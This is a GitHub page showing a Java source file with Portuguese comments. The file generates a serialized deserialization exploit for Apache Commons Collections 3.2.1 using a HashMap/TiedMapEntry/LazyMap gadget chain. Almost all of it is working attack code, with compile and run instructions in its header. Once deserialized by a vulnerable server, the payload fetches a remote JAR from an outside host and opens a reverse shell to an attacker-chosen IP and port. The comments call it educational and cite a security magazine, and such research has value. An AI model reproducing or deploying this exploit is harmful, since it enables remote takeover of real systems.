-
Notifications
You must be signed in to change notification settings - Fork 10
/
ReverseShellCommonsCollectionsHashMap.java
143 lines (124 loc) · 5.47 KB
/
ReverseShellCommonsCollectionsHashMap.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gera payload com gadget chain para carregar e executar uma classe remota
* (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
* do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
* a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
* Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
* o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
* de um LazyMap decorado com a ChainedTransformers.
* Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser.
*
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos.
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA
*
* @author @joaomatosf
*/
public class ReverseShellCommonsCollectionsHashMap {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
String host = null;
int port = 1331;
// Verifica se o usuário forneceu o comando a ser executado
if (args.length != 1 || args[0].split(":").length != 2 ) {
System.out.println("Invalid params! \n" +
"Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\"");
System.exit(1);
}
host = args[0].split(":")[0];
port = Integer.parseInt(args[0].split(":")[1]);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(
new Class[]{
URL[].class
},
new Object[]{
new URL[]{new URL(remoteJar)}
}),
new InvokerTransformer("loadClass",
new Class[]{
String.class
},
new Object[]{
"JexReverse"
}),
new InstantiateTransformer(
new Class[]{ String.class, int.class },
new Object[]{ host, port }
)
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map1 = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map1,transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
// Serializa o objeto
System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
}
}